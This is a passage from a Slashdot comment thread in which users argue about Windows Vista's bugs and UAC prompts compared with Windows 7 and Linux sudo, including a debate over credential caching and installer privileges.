      By the same criteria, most userland open-source software is released as alpha-quality. And a lot of kernel-space drivers. OpenOffice, GIMP, all media players, X.org, most wireless drivers... you name it, they all have major issues and shipped as "stable" in distros. Desktop Linux has been, on the whole, far buggier than Vista ever was.

    74. Re:Eh wouldn't surprise me... by hairyfeet · · Score: 2, Insightful

      Actually I would say Vista got slammed, and rightly so, for being buggy as shit and slow as ass. Let us just use my own experience with Vista, and to be fair I'm writing this from my Windows 7 machine which hasn't given me a lick of trouble.

      Oh, Vista, how I hated thee, let me count the ways. 1.-Play an MP3 and watch your network throughput grind to a halt. Yeah it was fun going back to the Win95 days where you didn't dare do squat while anything downloaded. 2.-Network shares that would just "disappear" and could only be fixed by a hard reboot, even though all the other machines could play nicely. yeah I really missed multiple daily reboots. 3.-Thrashing the hard drive. oh Lord, did it love to thrash the hard drive. Even on a machine with a 3.6GHz CPU, 2Gb of RAM, and a 7600GS for offloading the desktop, and all the fixes and tweaks found on the net, it thrashed the hard drive so bad it killed a brand new 200Gb drive. I had forgotten what thrashing was like. Thanks Vista!

      I could go on all day. To this day any Vista customers that walk through my shop want me to destroy it. The most asked question? "Is Windows 7 a POS like Vista? Because I have Vista and HATE IT!". Even with the latest drivers it is slow, bloated, buggy, just an all around piece of crap. I swear I had less trouble with WinME than I did with Vista, and that is saying a LOT.

      --
      ACs don't waste your time replying, your posts are never seen by me.
    75. Re:Eh wouldn't surprise me... by SanityInAnarchy · · Score: 4, Insightful

      First of all, Windows has had "sudo"-equivalent features for a long time-- since Windows 2000, I believe.

      Vista forced everyone to actually use them, or something similar.

      Secondly, how did they screw it up? It works fine for me.

      It's possible it's been fixed by now, both from Microsoft's side and from the developers' side.

      I definitely remember getting five or six separate UAC prompts during the installation of a single piece of software.

      The problem was that the OS was release-quality, but the drivers from various third-parties was beta-quality for a good year after the OS was released.

      If you can do that, I can claim that Linux has excellent video and wireless support, it's just those lazy driver writers. If Linux gets blamed for these things, Windows does, too.

      But it's also not the drivers that made it take far longer to boot than XP, while Win7 took less time than XP. Little, measurable performance hits like that is a big part of why I didn't upgrade.

      Vista was never designed to run on Netbooks, which was a market Microsoft didn't anticipate while they were developing it.

      Linux was never "designed" to run on Netbooks either, it's just flexible enough that it doesn't matter.

      --
      Don't thank God, thank a doctor!
    76. Re:Eh wouldn't surprise me... by Nazlfrag · · Score: 4, Insightful

      There's a real difference between Gutmann's early Vista analysis and this smear campaign. Gutmann was trying to peer behind a veil of secrecy to find what Vistas content protection looked like and sure he missed the mark but it was an honest attempt to evaluate what the future held based on MS, ATI and other presentations, press releases and patents.

      Whereas this guy is clearly a shill out to smear MS based on blatant fabrication.

    77. Re:Eh wouldn't surprise me... by SanityInAnarchy · · Score: 2, Informative

      most userland open-source software is released as alpha-quality.

      Possible, but unlikely, considering most userland open source software isn't at 1.0 yet. That's why KDE4 was such an embarrassment -- you don't release that abortion as a dot-oh.

      And a lot of kernel-space drivers.

      Most likely the ones marked "EXPERIMENTAL", or third-party, proprietary drivers. Or do you have some specific examples?

      OpenOffice, GIMP, all media players, X.org, most wireless drivers... you name it, they all have major issues

      I'd again have to ask you for specifics, especially comparing these to the released Vista. As bad as OpenOffice may be, I can't remember it crashing at all in recent history. I've never had issues with my wireless drivers, though the GUI sometimes seems off.

      --
      Don't thank God, thank a doctor!
    78. Re:Eh wouldn't surprise me... by JackieBrown · · Score: 1

      Yes, but can grandma do that?

      I don't really care but this is the response I see to any Linux solution that is more than 1 click or command.

    79. Re:Eh wouldn't surprise me... by lyml · · Score: 1

      What is grandma doing with an incorrectly installed copy of word to begin with?

    80. Re:Eh wouldn't surprise me... by The+End+Of+Days · · Score: 1, Insightful

      To be fair, that's because the early versions of OS X weren't really ready. They were dog slow, ugly, and rife with incompatibilities. Based on observations, Apple likes to release stuff when it's at about 85% readiness, so they can look like saviors when they make improvements to it later.

    81. Re:Eh wouldn't surprise me... by emjay88 · · Score: 4, Funny

      i think you'd appreciate this.

      --
      1178161 is prime...
    82. Re:Eh wouldn't surprise me... by cynyr · · Score: 1

      I pick three versions of gentoo "released" at the same time. Yep it probably did get faster. :P

      --
      All of the above was encrypted with a Quad ROT-13 method. Unauthorized decryption is in violation of the DMCA.
    83. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      It's the new "me too".

    84. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      Yes, but can grandma do that?

      Maybe or maybe not, but grandma wouldn't have installed Office to a non-default directory either, and wouldn't have had the problem in the first place.

      (FWIW I also don't use default directories, putting programs on a different partition, and I haven't had a problem where I need to go mess with directory permissions to avoid UAC prompts because of it.)

    85. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 1, Insightful

      Languages evolve, sorry.

    86. Re:Eh wouldn't surprise me... by Z34107 · · Score: 1

      I've managed to get it by having office installed in a folder on the drive root rather than in program files.

      Well, don't manually force Office to install in a privileged location, and then whine that you need privileges to run it.

      Status: Closed, wontfix

      --
      DATABASE WOW WOW
    87. Re:Eh wouldn't surprise me... by Martin+Blank · · Score: 2, Informative

      Certain odd programs like VMWare Workstation can trigger multiple UAC prompts during installation, first for the actual install, and then for the virtual driver installations. However, it is very much the exception.

      --
      You can never go home again... but I guess you can shop there.
    88. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      The only possible reason you could say Vista wasn't a flop is because of the practice of pre-packing it with the vast majority of new pcs and laptops. The real key indicator of Vista success or fail is business implementations and on that level Vista = epic fail.

    89. Re:Eh wouldn't surprise me... by T-Bone-T · · Score: 1

      It can still protect you without a password. On the higher settings, the prompt appears on a virtual desktop that the program that triggered the prompt can't see.

    90. Re:Eh wouldn't surprise me... by gad_zuki! · · Score: 1

      Oh, I agree. I think Vista is typical MS software and no worse than their other offerings, especially when they released SP1 and fixed a lot of minor annoying issues. My point is perception is as strong as reality. If people perceive Vista as a bad purchase, which many people did, then sales would be hurt, which is exactly what happened.

    91. Re:Eh wouldn't surprise me... by roblarky · · Score: 0, Offtopic

      This.

    92. Re:Eh wouldn't surprise me... by wizzat · · Score: 1, Informative

      Even if what you say is true, it doesn't change the fact that windows apps tend to frivolously ask for administrative access while linux apps don't. If you want to do your work in Windows, you *probably* will end up granting administrative access to some app or another for almost certainly unknown reasons. On Linux, as an overwhelming rule, you simply don't sudo unless you know why. :-/

    93. Re:Eh wouldn't surprise me... by Blakey+Rat · · Score: 2, Insightful

      I definitely remember getting five or six separate UAC prompts during the installation of a single piece of software.

      First of all, that's not Microsoft's fault, that's the fault of that installer. I'm not sure exactly what would cause that, but I'd wager that it could happen if the installer runs a bunch of different programs to take care of sub-tasks-- usually Windows handles this seamlessly, though, which means that it must be doing it in a funky way.

      But it's also not the drivers that made it take far longer to boot than XP, while Win7 took less time than XP.

      Who reboots their OS? My desktop is always on, and my laptop is always sleeping. I've always thought boot time was a stupid measure of... anything.

      Linux was never "designed" to run on Netbooks either, it's just flexible enough that it doesn't matter.

      So is Windows, what's your point?

    94. Re:Eh wouldn't surprise me... by Ralish · · Score: 5, Informative

      Depends what you mean by "vetted"; the NSA created SELinux, so nothing really compares to that, but they've regularly put out security guides in conjunction with Microsoft for every major Windows release (as well as for other operating systems). They're always comprehensive and a very solid resource on hardening Windows systems to varying extents, not to mention good learning material. Just don't get too overboard, a lot of the suggestions take security to extremes, to the extent that you'll definitely break a large number of programs by removing permissions and modifying defaults that they'd never expect to encounter (I say this from experience). They definitely don't get the attention they deserve:

      Windows 7 Security Compliance Management Toolkit

    95. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      I know. Ubuntu 5.xx (Hoary Hedgehog et. al.) seems faster than current version. Bloat sucks.

    96. Re:Eh wouldn't surprise me... by Miseph · · Score: 2, Interesting

      As a regular Win7 user, no, it doesn't, and you're talking out of your ass.

      Or, rather, it only nags constantly for apps that constantly demand to do admin tasks. Such behavior wouldn't be tolerated in Linuxland, but a program that insists it should be allowed to connect with repositories and auto-update on every single load would trigger sudo requirements too. The real problem is with apps that have very poor manners, not with UAC.

      One solution would be for Windows Update to allow 3rd-party apps to piggy back and check for updates on their own repositories through that interface as the result of a trusted/authorized installation. Then you wouldn't have programs phoning home every 30 seconds, constantly updating themselves without regard to the considerations of other programs, or each nagging you individually to update, and would instead have a consistent interface asking for periodic permission to resolve all update issues. Kind of like Synaptic.

      --
      Try not to take me more seriously than I take myself.
    97. Re:Eh wouldn't surprise me... by rtb61 · · Score: 0, Troll

      The underlying reality is, the computer market is maturing. From a customer point of view, windows advertising is now windows blah blah blah, this version blah blah blah, next version blah blah blah. They just don't care, they use what came with the machine, with absolutely no interest in upgrading and will stick with it until the machine dies. When their next machine arrives if it doesn't have an OS they will simply install they one they already have, if it does have an OS already installed they will use the installed OS.

      Right now all that windows advertising is basically throwing money away, no one cares and no one believes it (especially since M$ stuck it to future generations of computers users with overheating xboxes and lying about it). For them to already start promoting windows 8 just they can stick everyone with two years operating system upgrades just kills of any opportunity for the slim chance of windows 7 upgrades.

      For me, vista came with the machine but it sucked so hard (the very first unpatched version) I replaced it with XP from the dead machine (high powered notebooks eventually cook themselves) it replaced, chances for upgrade after than zero, chances for cross grade, well, all my machines are dual boot, one partition for games and the other to keep that one working, for backups, for real security and for work.

      Windows two decades more advanced than Linux, do you have any idea how stupid that sounds to the computer geek/nerd crowd at slashdot, 20 whole years, that's like 1990, do you have any idea at all what computers and software was like in 1990, talk about a marketdroid drone bot, oh my ;D (ohh yeah we believe).

      --
      Chaos - everything, everywhere, everywhen
    98. Re:Eh wouldn't surprise me... by Toonol · · Score: 1

      Are you actually looking for an answer?

      It's an abbreviated phrase. People write "This" instead of "This is true."

      English has many shortened terms like that. Now you don't need to be bothered in the future when you run across this. Glad to help. Bye.*

      *"Bye" is an abbreviation of "Goodbye", which is a corrupted form of "God be with ye."

    99. Re:Eh wouldn't surprise me... by Artifakt · · Score: 4, Informative

      Back in Win 95 days, Microsoft could have required all 3rd party software to use .ini files located in that software's main directory, or they could have required them to all use the registry, and use it in specified ways. Microsoft could have told every 3rd party company wanting that valuable Windows compatible logo on their box to use some method that would have directly helped MS's security and/or indirectly helped intelligent users who were concerned enough about security to want policy level control even then, and even then MS had enough market share to make it stick. Instead, they definitely let some companies ignore the usual rules and apparently relaxed them further whenever MS's marketing wanted to brag about how much software was windows compatible. (The first is something some of Microsoft's key people have admitted to, the second is an outsider's inference, and I'm sure there are people who would disagree with me on it.)
          I'm hoping Microsoft has actually made all 3rd party sources write to some standards this time, and true support for multiple users under Microsoft's long standing model dictates, as you imply, that this should be under the user profile rather than in the install directory. What worries me is that Microsoft may still give some companies, such as Norton, favored status at bending the rules. I'm waiting to adopt 7 in part because I don't know how firm Microsoft has been on security. Microsoft had certainly transitioned from the Win 95-98 first ed. days of having a big market share but with room to grow, to one that had 95% of the market and no place to go but stagnate, well before Vista came out, but they didn't seem to have learned the lesson at all by then, which may be why I doubt they have fully learned it just yet.

      --
      Who is John Cabal?
    100. Re:Eh wouldn't surprise me... by slugstone · · Score: 0

      wow I will take su/sudo anyday over what you describe. Being vastly more sophisticated does not mean better, just easier to get in my way.

    101. Re:Eh wouldn't surprise me... by SanityInAnarchy · · Score: 2, Insightful

      First of all, that's not Microsoft's fault, that's the fault of that installer. I'm not sure exactly what would cause that,

      So you don't know, but you're sure it's not Microsoft? What kind of argument is that?

      I'd wager that it could happen if the installer runs a bunch of different programs to take care of sub-tasks-- usually Windows handles this seamlessly, though, which means that it must be doing it in a funky way.

      And how, exactly, could it be doing this in a way which would escape Windows' notice?

      Now, this doesn't happen much anymore, but I'd bet Microsoft was the one patching it -- even if they had to resort to the same kind of brutal hacks they have in the past to ensure backwards compatibility.

      Who reboots their OS?

      I do, every kernel upgrade. I'm sure you do when Windows Update tells you to.

      My desktop is always on, and my laptop is always sleeping.

      The fact that my laptop boots in about 20-30 seconds means I will actually shut it down at night, rather than sleeping it. It's also useful when I dual-boot -- I boot Linux most of the time, so the fact that I can reboot into Windows to play some games in maybe one minute instead of ten is a definite plus.

      Netbooks are also worth considering, here. If you've got a minimalistic UI which can save state easily -- like a web browser saving tabs (hint: Chrome OS) -- and you've got an OS that boots in seven seconds (and they're working on reducing that), why would you care about sleep? Hibernate is nice, but that kind of quick booting is going to be faster and lighter on disk usage.

      I've always thought boot time was a stupid measure of... anything.

      Boot time is the most obvious measure, because it's the one where I get a new Vista machine to work on, and it takes anywhere from 5-10 minutes to reboot, thus stretching maybe 20 minutes of Windows Updates and driver installs into an hour or more.

      I suppose I could talk instead about how much it was thrashing the disk, but that experience (plus the UAC irritations, which wasn't constrained to that one program) is why I stayed away.

      Contrast to Win7 -- boot time is fast, UAC is unobtrusive. I don't know what they changed, but it worked.

      So is Windows, what's your point?

      XP, apparently, not Vista.

      --
      Don't thank God, thank a doctor!
    102. Re:Eh wouldn't surprise me... by toadlife · · Score: 0

      There are solutions like gksudo that work much like UAC, including a user-friendly GUI and caching of credentials.

      They might work and look kind of like UAC, but they are not in the same league in terms of security. When you allow SUDO to cache credentials, any process running under your credentials can elevate itself to root the next time you use SUDO. This vulnerability does not exist with UAC.

      Given Linux's obscurity (nobody cares) it's probably not something that's going to get exploited, but it's something the security obsessed Linux user, and corporate linux admins need to be aware of.

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    103. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      You sound like an idiot. Maybe it's because you are one.

    104. Re:Eh wouldn't surprise me... by Lord+Kano · · Score: 1

      vista was no where near a flop and not at all a bad OS.

      I suppose that all depends on how you define "good" or "bad". For my purposes, Vista was a bad OS. It didn't run all of the programs that I wanted to be able to run. That's why I upgraded to XP when I bought my laptop. Vista was less than useless for me. Next month, I'm going to be upgrading my main/games PC and for that I'll be giving Windows 7 a try. I hope that it works out, but if it doesn't I'll run XP for a couple more years. No matter what happens, though, I won't be running Vista. Ever.

      LK

      --
      "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
    105. Re:Eh wouldn't surprise me... by JackieBrown · · Score: 1

      I don't know. I guess I'll ask her later.

    106. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 2, Insightful

      More a fault of the App developer if you ask me. They just don't know better and assume asking for admin privs is best. It doesn't take long to figure out the windows security model, it's not terribly complex. Simple enough to figure out in a couple days, or if the Windows APIs are too complex for you, there are a number of libraries that simplify most security tasks.

    107. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      So is Windows, what's your point?

      Heh, This is the have it both ways crowd. They wan to ignore that Windows 7 runs pretty well on Netbooks, but claim that Vista is bloated and crap, and *also* claim that Windows 7 is the same as Vista.

    108. Re:Eh wouldn't surprise me... by jonadab · · Score: 2, Insightful

      > Though I wonder how close this comes to an actionable legal issue?

      That would be foolish. Microsoft does NOT need to create more reasons for people to think of them as big bad bullies, whilst meanwhile transforming the discredited kook who criticized them into a victim and/or martyr in the eyes of (many of) the public and simultaneously directing more attention to his claims and lending them some apparent credibility that they don't otherwise have.

      Even if you win the case quickly, you still lose.

      The marketing department can handle this one just fine. I mean, the guy's already discredited, and they haven't even done anything yet. It's under control. No need to involve the legal department.

      --
      Cut that out, or I will ship you to Norilsk in a box.
    109. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      Well, don't manually force Office to install in a privileged location, and then whine that you need privileges to run it.

      That's an awful excuse, if, in fact, the install directory is truly what's wrong. (I have my doubts.)

      "C:\Program Files" (and "C:\Program Files (x86)" if you're on x64 Windows) are also privileged, but the install to there works fine.

    110. Re:Eh wouldn't surprise me... by Bigjeff5 · · Score: 3, Interesting

      That's all fine and dandy, but the GP, or GGP, or whoever, wasn't talking about SELinux, they were talking about sudo specifically and UAC specifically, and between the two frameworks each of these items resides in the Windows framework is far more granular and robust.

      Windows 7 isn't billed as a hardened OS, just a secure OS, and it indeed fits that description very well.

      --
      Security is mostly a superstition... Avoiding danger is no safer in the long run than outright exposure. - Helen Keller
    111. Re:Eh wouldn't surprise me... by EvanED · · Score: 2, Insightful

      They might work and look kind of like UAC, but they are not in the same league in terms of security. When you allow SUDO to cache credentials, any process running under your credentials can elevate itself to root the next time you use SUDO. This vulnerability does not exist with UAC.

      Which is why you turn off caching of credentials if that bothers you. It's a security vs convenience issue, and for once Windows is on the "annoying but secure" side and common Linux configurations are on the "less annoying but less secure" side.

    112. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      now for Linux there are many different distros, in most allowing sudo to a rogue app will screw you as well, but let's say you use redhat's distro, which is like, the entreprise reference, this won't work.

      Can you rephrase that in English?

      Or at least say what you mean by sudoing a rogue app won't screw you on RHEL?

    113. Re:Eh wouldn't surprise me... by EvanED · · Score: 2, Insightful

      What I forgot to say is that the difference is that "Sudo's behavior on that spectrum is configurable, while UAC's isn't." UAC forces you to the "ask every time end", which can be very annoying. The only times I've almost turned off UAC was when I was trying a bunch of configuration options which involved repeatedly elevating myself. A security system that makes users annoyed and persuades them to turn it off isn't so secure either.

    114. Re:Eh wouldn't surprise me... by Bigjeff5 · · Score: 4, Informative

      First of all, that's not Microsoft's fault, that's the fault of that installer. I'm not sure exactly what would cause that, but I'd wager that it could happen if the installer runs a bunch of different programs to take care of sub-tasks-- usually Windows handles this seamlessly, though, which means that it must be doing it in a funky way.

      If the software follows Microsoft's best practices for security by installing itself in the proper directories, there is no UAC interaction at all. None. I've installed a number of programs like this. If a piece of software insists on installing itself in protected directories, or insists on running with administrative privileges, you may want to think twice about running it. Those are the kinds of software that open gaping holes in your PC's security.

      I'd wager the GP's software was attempting to do something it really had no business doing, and every time the installer did something unsafe, UAC double checked with the user first. It's annoying, yes, but only when you install shitty software, and it's really exactly the type of behavior you should want out of your security system.

      If the software really did need all that access to do something legitimate, and if they publisher had bothered to test it with Windows 7 and discovered the problem, Microsoft would have added an exception specifically for their software to group all the UAC requests into a single request to streamline the process. They do that kind of backwards compatability stuff all the time.*

      *They actually tried not to do this with Vista even though they did it for every previous version of Windows. That was part of the reason there were so many incompatibilities between XP and Vista, and it bit them in the ass. They reverted back to their old policy for Windows 7, and even put a seemless XP VM in the business and ultimate editions.

      --
      Security is mostly a superstition... Avoiding danger is no safer in the long run than outright exposure. - Helen Keller
    115. Re:Eh wouldn't surprise me... by digitalhermit · · Score: 2, Informative

      I used to get a UAC on opening documents from a Samba share on my LAN. I could see it happening if a Word document was opened from a share.

    116. Re:Eh wouldn't surprise me... by JustOK · · Score: 2, Funny

      Word

      --
      rewriting history since 2109
    117. Re:Eh wouldn't surprise me... by vertinox · · Score: 1

      i call bullshit. you've never even used vista if your claiming it nags you to run word everytime.

      I actually don't doubt him but its because I have a suspicion that he has some version of Adobe Acrobat installed. Not really directly MS's fault but still problematic.

      --
      "I am the king of the Romans, and am superior to rules of grammar!"
      -Sigismund, Holy Roman Emperor (1368-1437)
    118. Re:Eh wouldn't surprise me... by cgenman · · Score: 1

      Vista was mostly looked badly because they introduced new security features.

      No, Vista mostly looked bad because it broke compatibility to introduce a bunch of new features that they didn't actually implement for Vista. So, for example, a lot of visual and other coding work was done under the hood for a resolution-independent user interface, where being super high-resolution wouldn't necessarily mean that all of your icons are tiny. And then they cut it for time. That work broke a lot of applications, consumed a ton of resources, and ultimately did the same thing as XP. Further, they introduced a lot of new hard disk mechanisms, breaking some of the past ones in the process, for their uber search system... which was cut for time.

      Basically the only thing which wasn't cut for time from Vista was the user security model which you mentioned. However, within days of hittting Beta there were large and obvious ways around that security measure if you wanted to install bad things on user's computers. Because of this, proper and legal applications had to stop the user every few minutes for approval, whereas spyware and assorted nasties just wandered through the giant holes. I approve of the idea of implementing a UAC, but Vista's UAC was an annoyingly intrusive sieve, a paper-thin protection that trained users to click OK all the time. Being clearly a first rough draft of a better system, it didn't seem worth an extra few hundred dollars.

      And that was the real rub. Win 98 was a lot more functional and internet-enabled than Win 95. Win XP was light years more stable than Win 98, with internet functionality built into the heart of the system. Windows Vista? Vista is just XP, but without running as much, and doing so in a more annoying fashion. It's like they forgot that a system update needs to sell on the advantages of the system over the current one, rather than just because it's the latest version of a standard iteration process.

      Windows 7 is more popular in no small part because the Vista incompatibilities are mostly ironed out. The left / right panes is a nifty trick, and the new taskbar is quite usable with less clutter. Even the problems with running applications in 32 bits in a 64 bit environment are ironed out. Basically, there are no drawbacks to the new system over XP, unlike Vista at the time it launched. However, people's hardware is getting pretty long in the tooth. Anyone who had been holding out with XP can now get a Windows 7 machine with a huge hardware boost and some nice system touches, and can break the 4GB Ram barrier to boot.

    119. Re:Eh wouldn't surprise me... by Kitkoan · · Score: 2, Insightful

      And the world goes on. Even if Win7 had huge memory problems, it wouldn't have stopped people from buying it. Though I wonder how close this comes to an actionable legal issue?

      And yet, this being Slashdot, if this was reversed and it was anti-Apple we would have been flooded with comments of telling Bill Gates/Steve Ballmer to stop making this stuff up... Fun the differences that the company makes.

      --
      Attention... all grammer nazi"s! Is they're anything; wrong with: my post,
    120. Re:Eh wouldn't surprise me... by cgenman · · Score: 1

      When I need to do a bunch of admin tasks on one of my Linux boxes I see nothing wrong with the appropriate use of the root login, it just shouldn't be used on a daily basis for using the machine.

      Everyone listen to this (presumed) man. When logging into my old linux box I only ever had to enter Sudo or root login information when installing software, changing something pretty fundamental, or another action initiated by me personally. On Vista, I had to deal with UAC prompts three separate times when just booting the damned thing (Adobe updater, iTunes updater, Java updater). Half of security is making sure the bad guys are caught. But the other half of security is filtering out as many false positives as possible so that real warnings can be heard. UAC's first implementation was moderately good at the former, but ran around shouting "Wolf!" so often that real threats were more likely to get through.

    121. Re:Eh wouldn't surprise me... by Meski · · Score: 1

      Returning software?

    122. Re:Eh wouldn't surprise me... by cgenman · · Score: 1, Informative

      The UAC, in Vista, nagged constantly early on because of poorly written software.

      I'd say that the UAC in Vista nagged constantly early on because it was written to complain about software that was written to standard procedures at the time. There is nothing inherently "poorly written" about writing to the current working directory, especially seeing as how A: XP was only vaguely a multi-user OS and B: Windows 98 was really never a multi-user OS. Also, C: Windows has added dozens of new layers of "default" directories over the years (One with every frick'ing OS revision), such that the only real safe directory is the one that the program is in. Also, seeing as how applications were allowed to do more or less anything in XP / NT, the most efficient and fast route was frequently the one that took the most initiative and privileges.

      Software writers were writing to the system at the time. When Apple has changed their system radically in the past, they've firewalled off older code into emulation boxes that could run with their full expected privileges, but within the safer system of the redesigned OS. Microsoft just hoped it would all work, and assumed that people would put up with the annoyances until such a time as all of the software was re-written to their liking. Of course, it's not like they spent years trying to convince developers to behave in a certain way, or released the OS model information in 2003 so that by launch 2006 people could have their applications ready. They dumped it out there and assumed it would all go to plan eventually.

      For the record, I switched from Vista to Windows 7. I get at least one UAC prompt on startup (stupid Java), and prompts whenever installing anything (4 new fonts today). It's much better than it had been, but it is still a bit annoying.

    123. Re:Eh wouldn't surprise me... by Blakey+Rat · · Score: 1

      But it's the same kernel. It's not like Vista and Windows 7 are using significantly different kernels... it's the chosen configuration that wasn't suited for a netbook, not (what a Linux user would refer to as) "the OS".

      So yes, I can have it both ways. If you're going to compare the barebones Linux kernel's flexibility, I get to compare it to barebone Windows NT kernel.

    124. Re:Eh wouldn't surprise me... by Draek · · Score: 2, Interesting

      The problem is that it's not "assuming same old hardware". It's "assuming same price point at time of release". Debian Lenny runs much, *much* faster in a low-end 2009 machine than Woody did in a 2002 one, and Windows 7 flies on a mid-range 2009 machine compared to XP on a mid-range 2001 computer. The problem with Vista, however, is that in 2006 even on a high-end machine it ran like a freaking pig.

      --
      No problem is insoluble in all conceivable circumstances.
    125. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      They apparently devolve as well.

    126. Re:Eh wouldn't surprise me... by complete+loony · · Score: 4, Informative

      Some of that "poorly written software" was window's own control panel. In a number of cases there was very poor separation between user customisation and administration of system settings.

      --
      09F91102 no, 455FE104 nope, F190A1E8 uh-uh, 7A5F8A09 that's not it, C87294CE no. Ah! 452F6E403CDF10714E41DFAA257D313F.
    127. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      On the other hand, you can use it as a clear identifier to filter out the useless trend whores with surprising speed and accuracy. It's not often that you get the big red flag waved in your face on the very first word of a post!

    128. Re:Eh wouldn't surprise me... by Z00L00K · · Score: 1

      And it still doesn't remove the fact that Win7 really uses more memory than XP.

      But it's hard for me to see what the memory is used for in the system monitor, it only says that it's used, not what it's for and if it can be freed for my application. This is an issue that can cause some irritation when you are developing software and wants to monitor system usage to determine recommended amount of memory in the computer that's used.

      --
      If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
    129. Re:Eh wouldn't surprise me... by toadlife · · Score: 1

      What I forgot to say is that the difference is that "Sudo's behavior on that spectrum is configurable, while UAC's isn't."

      As it should not be. It would be idiotic for Microsoft to configure UAC to have that option because it would essentially introduce a permanent privilege escalation vulnerability. There's convenient and there's downright, stupid. Cached credentials done the way linux/BSD and SUDO does it, would be a security disaster on a mainstream desktop platform.

      UAC forces you to the "ask every time end", which can be very annoying.

      In Vista this is true, but UAC is quite configurable in Windows 7.

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    130. Re:Eh wouldn't surprise me... by compro01 · · Score: 1

      Program files is privileged, but it does some automagic stuff to push config stuff, etc. to another folder (program data, IIRC).

      It's sensible IMO and Linux also keeps configuration stuff separate from the binaries.

      --
      upon the advice of my lawyer, i have no sig at this time
    131. Re:Eh wouldn't surprise me... by BillGod · · Score: 1

      Did I miss something? I have done SEVERAL tests on machines running windows XP Vista and 7. I have never gotten an overall performance increase with 7. Vista runs the slowest XP the fastest and 7 a close 2nd. 7 only comes close if you have a new beefy machine with 4gb of RAM. I am not making any jokes here. Can someone point me to any proof that 7 out performs XP overall. Grant it I did all my testing before the official release of 7 but show me a Pentium 4 with 2gb of ram and I will bet XP will run faster.

      --
      MISSING - Sig file. 2 years old black and white and very funny. If found please email me.
    132. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 1

      I have my UAC settings at maximum under Windows 7 and I don't see any UAC prompts for IE.

      I don't think anyone is getting them for IE under Windows 7, but I know ones who do under Vista. It's also bullshit that it gives you a UAC prompt just to run a virus manual virus scan (not sure if it still does under Windows 7, I turned them off because on a single user system, they don't serve any purpose than to annoy you).

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    133. Re:Eh wouldn't surprise me... by Totenglocke · · Score: 0, Troll

      If you know people that are getting UAC prompts all the time, you need to get with them and figure out exactly why. That shouldn't happen.

      Yea, no one should be using Vista - I wouldn't even wish that on my enemies! =D

      --
      "The tree of liberty must be refreshed from time to time with the blood of patriots and tyrants." ~Thomas Jefferson
    134. Re:Eh wouldn't surprise me... by BrokenHalo · · Score: 1

      Now that was actually funny. :-)

    135. Re:Eh wouldn't surprise me... by ikono · · Score: 1

      kinda hard to return used software, you know...

      --
      Karma is for whores
    136. Re:Eh wouldn't surprise me... by Pentium100 · · Score: 1

      Well yes. I remember some years ago when CPUs were below 1GHz, I wanted a faster PC because the one I had was too slow, and not only too slow for games. It was slow. I wanted to upgrade (which in my case meant buying the new parts and not a whole PC).

      Now my PC does everything I want (including playing games, Borderlands and Bioshock2 run well at 1600x1200 everything at max except AA and AF) even thought I built it 3 years ago and apart from a RAM upgrade it still is the same.

      If my 4.5 year old laptop breaks beyond repair, I will buy a new one, it will probably come with Vista or 7. I will try to install XP on it, but I may not be able to due to lack of drivers. Then I will just use 7, but not before making it look and act just like XP.

    137. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      win7 does NOT run anything faster than xp.

      YOU are full of shit.

      I've tested the hell out of 7 and its nice enough. Which is good since it will be required to have win7 in a year or two for most things. But it is still a huge downgrade from xp as far as raw preformance goes on any level.

    138. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      As it should not be. It would be idiotic for Microsoft to configure UAC to have that option because it would essentially introduce a permanent privilege escalation vulnerability. There's convenient and there's downright, stupid. Cached credentials done the way linux/BSD and SUDO does it, would be a security disaster on a mainstream desktop platform.

      sudo uses time limit for credentials -- this may not be the best way to achieve high security, however in most of real-life use it's sufficient to prevent privilege escalation for all but the luckiest trojan horses that happen to activate right after the user started the installation of something. In a desktop system it's a pretty good solution compared to all other methods. People who are concerned about time limits can make a large button that runs sudo -k and put it on the panel.

      Windows UAC solves the wrong problem -- it ask the user for something that he is not supposed to make a choice about. There are no things that user is supposed to "decide" if they should or should not be allowed to run as root/admin -- there are things that should always run as admin, and things that shouldn't. Nothing in the world, least of all the user, is supposed to ever move them from one category to the other. The role of the password prompt in sudo/gksudo is to let the user confirm that it's he who requested the supposedly privileged application to run. If something doesn't need this confirmation, it has setuid bit set on the executable, so sudo mechanism won't be necessary, or implemented as a constantly running daemon. The problem is, most administrative applications with user interface are not simple enough to be trusted with setuid bit -- it's possible that they can be coerced into performing some actions that can be a part of a privilege escalation exploit. Asking the user breaks those exploits because user will see a prompt when he did not start an administrative application.

      PolicyKit/ConsoleKit allow more fine-grained security models, however they do it by handling, as the name suggests, a policy, not by giving the user a "choice" between running a virus and rendering system unbootable by crashing an upgrade process.

      --
      Contrary to the popular belief, there indeed is no God.
    139. Re:Eh wouldn't surprise me... by Anpheus · · Score: 1

      Thanks for that.

    140. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 1, Interesting

      "More Sophisticated" does not always mean better, and in fact often means "More complicated and bloated" - especially when talking about a Microsoft product.

    141. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      There are no things that user is supposed to "decide" if they should or should not be allowed to run as root/admin -- there are things that should always run as admin, and things that shouldn't.

      Well, that's not really true. If you're looking at it at an executable level, then there are at least a few executables that are quite reasonably run at both privilege levels. Even at a command level, if you do "./configure --prefix=$HOME/my/install/location" then "make", then "make install" is something you'll probably be running as yourself. If you omit the --prefix part, then "make install" will need to be run as root.

